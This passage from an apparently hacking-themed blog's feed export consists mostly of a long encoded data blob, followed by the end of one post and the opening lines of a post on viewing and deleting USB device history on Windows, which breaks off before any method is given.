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<span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman"; mso-fareast-language: EN-IN;"> I hope this will add to ur knowledge.....and you will be any day helped
by this.... :)<br />
<br />
If you find this article interesting and worth reading so plzz drop your
comments it will be appreciated.... :) </span></div>
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<![endif]--><div class="blogger-post-footer">https://www.facebook.com/AvinHack</div>bnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.com0tag:blogger.com,1999:blog-607480404802064783.post-47044069584053499462012-10-09T00:01:00.000-07:002012-10-09T00:01:00.928-07:00How to retrieve USB history and delete them ..?(Part-I)<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<img height="138" id="il_fi" src="http://www.google.co.in/url?source=imglanding&ct=img&q=https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxFMAdj8R3jmgV7uvqVU58DJJTY54HSUJ_RXtDMbqFSNsOOnhwo7_7tJol0P5BC1fmys1Y58-XNHyPOD2-Ix3tzCk6Bv4on5hOW9JoNZ2i5rdhSrh8cmb-ziAAykYbiZjGrLcnnMK0bgA/s1600/usb_memory_bomb.jpg&sa=X&ei=eMtzUIHQAov_rAeI7oGYCg&ved=0CAoQ8wc&usg=AFQjCNG2U_sYKUxA9ccIsfkr3Iqe2Vcyeg" style="padding-bottom: 8px; padding-right: 8px; padding-top: 8px;" width="179" />Well!! nowadays we use our USB port to plugin many devices like mp3
players,ipods,pendrives etc,it is also very true that these devices are
also vector of many viruses,trojans and backdoors etc which can be
lethal sometimes.Today I am going to discuss<span style="color: #b45f06; resize: both ! important;"> how we can keep a track of all the USB devices</span>
that were connected to our computer(WIN Xp / 7 / Vista).This trick can
be very helpful in case you find that some data has been stolen from
your PC.<br style="resize: both ! important;" />
<br style="resize: both ! important;" />
The USB history in a PC can be tracked by two methods: <br style="resize: both ! important;" />
<br style="resize: both ! important;" />
